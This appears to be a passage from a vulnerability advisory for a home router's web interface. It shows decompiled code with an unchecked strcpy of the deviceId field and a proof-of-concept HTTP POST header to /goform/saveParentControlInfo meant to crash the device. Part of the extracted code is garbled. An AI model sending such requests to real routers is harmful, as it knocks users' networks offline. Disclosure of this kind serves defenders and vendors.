

```
24
    memset(s, 0, sizeof(s));
25
    v19 = 0;
26
    memset(v21, 0, 0x100u);
    v2 = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
27
    v3 = webgetvar(a1, (int)"deviceName", (int)&byte_1C2CF0);
28
29
    if ( *v3 )
      setdevicename(v3, v2);
30
    result = sub 60BE0(a1);
31
    if (!result)
32
33
     v5 = (char *)malloc(0x254u);
34
35
      memset(v5, 0, 0x254u);
36
     strcpy(v5 + 2, v2);
      v6 = malloc(0x254u);
37
      memset(v6, 0, 0x254u);
38
      SetValue("parent.global.en", "1");
39
      SetValue("filter.url.en", "1");
40
      SetValue("filter.mac.en", "1");
41
42
      sub 60CFC(a1, v6);
      v7 = sub\_5FEFC(0, &v19, v5);
43
44
      if ( v7 <= 0 )
45
46
        v14 = sub 36A34((int)"parent.control.id", s, 30);
        if ( v14 )
47
```

So by POSTing the page /goform/saveParentControlInfo with long deviceId, the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 65554
```